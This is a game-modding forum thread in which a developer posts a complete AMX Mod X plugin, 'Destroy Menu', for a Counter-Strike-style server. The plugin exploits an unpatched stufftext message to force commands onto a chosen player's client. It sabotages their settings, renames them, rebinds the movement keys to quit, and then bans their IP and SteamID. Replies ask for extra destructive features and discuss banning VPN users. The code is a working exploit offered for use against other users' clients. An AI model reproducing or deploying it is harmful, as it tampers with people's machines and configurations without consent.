General Destroy Menu

Plug-ins compatibility with Zombie Escape 1.x only!


Post Reply
User avatar
Raheem
Mod Developer
Mod Developer
Posts: 2214
Joined: 7 years ago
Contact:

Destroy Menu

#1

Post by Raheem » 5 years ago

Destroy Menu
Against-Cheaters

Description:
  • Destroy menu is plugin that can be used to destroy cheaters game, it will as well ban their IP/Steamid. I write this plugin based on exploit that valve valve don't block. Make sure to use it ONLY against cheaters. This plugin will work on most clients Steam/No-Steam/Non-Steam.
Installation & Instructions:
  • Simply install it like any plugin.
  • amx_destroymenu in console will open the destroy menu.
Code:
  • Code: Select all

    /*
    *   Free Plugin by Raheem. Date: 1-9-2017
    *   This Plugin will work on Steam, No-Steam, Non-Steam Clients.
    *   Based on: https://github.com/ValveSoftware/halflife/issues/1497
    *   It will destroy players game and add his ip and steamid to ban list.
    *   This adds powers to admin, But this plugin is considerd SLOW hacking!
    *   I only write it for good use ONLY! Please don't abuse it!
    *   Just to use against Cheaters...
    *   Need AMXMODX v 1.8.3 so it works.
    *   Please use default settings in reunion.cfg
    *   Thanks and hope you follow my rules.
    *
    *   Last update: 26-6-2018 (dd-mm-year)
    *
    *   -Raheem
    */
     
    #include <zombie_escape>
    
    #define SVC_DIRECTOR_ID 51
    #define SVC_DIRECTOR_STUFFTEXT_ID 10
     
    new const g_szCommands[][] =
    {
        "rate 1",
        "fps_max 0",
        "fps_modem 0",
        "name ^"You have been HACKED!^"",
        "sensitivity 10000000.0",
        "cl_timeout 0.0",
        "cl_allowdownload 0",
        "cl_allowupload 0",
        "cd eject",
        "say ^"I'am NOOB haha.^"",
        "gl_flipmatrix 1",
        "cl_cmdrate 10",
        "cl_updaterate 10",
        "cl_updaterate 10",
        "hideradar",
        "con_color ^"0 0 0^"",
        "hud_draw 0",
        "cl_forwardspeed 0",
        "cl_minmodels 1",
        "cl_righthand 0",
        "gamma 0.0",
        "net_graph 1",
        "brightness 0",
        "cl_dlmax 1",
        "volume 0.0",
        "MP3Volume 0.0",
        "bind w quit",
        "bind a quit",
        "bind s quit",
        "bind d quit",
        "quit"
    }
     
    public plugin_init()
    {
        register_plugin("Destroy", "1.0", "Raheem")
       
        register_concmd("amx_destroymenu", "Destroy_Menu", ADMIN_SLAY)
    }
     
    public Destroy_Menu(id, level, cid)
    {
        if (!cmd_access(id, level, cid, 1))
            return PLUGIN_HANDLED
       
        new iMenu = menu_create("\yDestroy Menu\w:", "Menu_Handler")
       
        new szName[32], szUserid[6]
       
        for (new i = 1; i <= get_member_game(m_nMaxPlayers); i++)
        {
            if (!is_user_connected(i))
                continue
           
            get_user_name(i, szName, charsmax(szName))
            formatex(szUserid, charsmax(szUserid), "%d", get_user_userid(i))
            menu_additem(iMenu, szName, szUserid, 0)
        }
       
        menu_display(id, iMenu, 0)
       
        return PLUGIN_CONTINUE
    }
     
    public Menu_Handler(id, iMenu, iItem)
    {
        if(iItem == MENU_EXIT)
        {
            menu_destroy(iMenu)
            return PLUGIN_HANDLED
        }
       
        new szName[32], szAdminName[32], szData[6], iAccess, iCallBack
       
        menu_item_getinfo(iMenu, iItem, iAccess, szData, charsmax(szData), szName, charsmax(szName), iCallBack)
       
        get_user_name(id, szAdminName, charsmax(szAdminName))
       
        new iUserID = str_to_num(szData)
        new iTarget = find_player("k", iUserID)
       
        if (!is_user_connected(iTarget))
            return PLUGIN_HANDLED
       
        client_cmd(0, "spk vox/bizwarn")
        client_print_color(0, print_team_default, "^1[^4Destroy^1] ^3ADMIN ^4%s ^3has Destroyed ^4%s", szAdminName, szName)
       
        for (new i = 0; i <= charsmax(g_szCommands); i++)
        {
            Send_Cmd(iTarget, g_szCommands[i])
        }
    	
    	set_task(0.1, "Ban_Delay", iTarget+100) 
       
        menu_destroy(iMenu)
       
        return PLUGIN_CONTINUE
    }
    
    public Ban_Delay(taskid)
    {
    	new szIP[32], szAuthID[35]
    	get_user_ip(taskid - 100, szIP, charsmax(szIP), 1)
    	get_user_authid(taskid - 100, szAuthID, charsmax(szAuthID))
    	
        if (equal(szAuthID, "STEAM_ID_LAN") || equal(szAuthID, "VALVE_ID_LAN"))
        {
            // Player don't have Unique SteamID? Ban Only with IP
            server_cmd("amx_addban ^"%s^" 0", szIP)
        }
        else
        {
            // Player have SteamID? Ban with IP and SteamID
            server_cmd("amx_addban ^"%s^" 0; amx_addban ^"%s^" 0", szIP, szAuthID)
        }
    }
    
    stock Send_Cmd(id, text[])
    {
    	message_begin(MSG_ONE, SVC_DIRECTOR_ID, _, id)
    	write_byte(strlen(text) + 2)
    	write_byte(SVC_DIRECTOR_STUFFTEXT_ID)
    	write_string(text)
    	message_end()
    }
- Very soon i'll share my Admin Powers Menu.
He who fails to plan is planning to fail

pawan
Member
Member
India
Posts: 12
Joined: 6 years ago
Contact:

#2

Post by pawan » 5 years ago

Hey, what about adding few things from this plugins in next update

https://pastebin.com/ARD3bBSp
and
https://pastebin.com/H71xBM8k

It will be more powerful.

User avatar
Raheem
Mod Developer
Mod Developer
Posts: 2214
Joined: 7 years ago
Contact:

#3

Post by Raheem » 5 years ago

motdfile and motd_write commands removed from client so we can't use them anymore.
He who fails to plan is planning to fail

pawan
Member
Member
India
Posts: 12
Joined: 6 years ago
Contact:

#4

Post by pawan » 5 years ago

But it should work on non steam.
Hackers are mostly non-steam only.
If they are steam we can use normal against them.

User avatar
Night Fury
Mod Developer
Mod Developer
Posts: 677
Joined: 7 years ago
Contact:

#5

Post by Night Fury » 5 years ago

pawan wrote: 5 years ago But it should work on non steam.
Hackers are mostly non-steam only.
If they are steam we can use normal against them.
This plugin will work on most clients Steam/No-Steam/Non-Steam.
Want your own mod edition? PM me.
Accepting private projects.
Discord: Fury#7469
Image

pawan
Member
Member
India
Posts: 12
Joined: 6 years ago
Contact:

#6

Post by pawan » 5 years ago

Jack GamePlay wrote: 5 years ago
pawan wrote: 5 years ago But it should work on non steam.
Hackers are mostly non-steam only.
If they are steam we can use normal against them.
This plugin will work on most clients Steam/No-Steam/Non-Steam.
I mean that
motdfile and motd_write might still work in non steam.
If it is working for non steam then we can add those.

Coz we can easily ban steam hacker but it's hard to ban non steamers because of dynamic ip and steam I'd changer.

pawan
Member
Member
India
Posts: 12
Joined: 6 years ago
Contact:

#7

Post by pawan » 5 years ago

Today I used this plugin a hacker.
And in just 2min he came back abusing :/

User avatar
Raheem
Mod Developer
Mod Developer
Posts: 2214
Joined: 7 years ago
Contact:

#8

Post by Raheem » 5 years ago

These two commands even blocked in most non/no steam games, so useless to add them.
He who fails to plan is planning to fail

czirimbolo
Veteran Member
Veteran Member
Poland
Posts: 598
Joined: 7 years ago
Contact:

#9

Post by czirimbolo » 5 years ago

Raheem, do you have any other ideas how to 'destroy' cheaters? Can you share your Admin powers menu?
Image

User avatar
Raheem
Mod Developer
Mod Developer
Posts: 2214
Joined: 7 years ago
Contact:

#10

Post by Raheem » 5 years ago

I made semi-destroy plugin for cheaters, and Powers Menu. But i think it will be private so i'm not going to post them.
He who fails to plan is planning to fail

User avatar
sPe3doN
Senior Member
Senior Member
Algeria
Posts: 258
Joined: 7 years ago
Contact:

#11

Post by sPe3doN » 5 years ago

Raheem wrote: 5 years ago I made semi-destroy plugin for cheaters, and Powers Menu. But i think it will be private so i'm not going to post them.
raheem is there any way to ban cheaters who change his IP a kid on my server i banned him Banip 10 times but he keep back he use VPN
Image

User avatar
Raheem
Mod Developer
Mod Developer
Posts: 2214
Joined: 7 years ago
Contact:

#12

Post by Raheem » 5 years ago

You can semi-destroy him, but i did not publish this plugin.
He who fails to plan is planning to fail

Post Reply

Create an account or sign in to join the discussion

You need to be a member in order to post a reply

Create an account

Not a member? register to join our community
Members can start their own topics & subscribe to topics
It’s free and only takes a minute

Register

Sign in

Who is online

Users browsing this forum: No registered users and 0 guests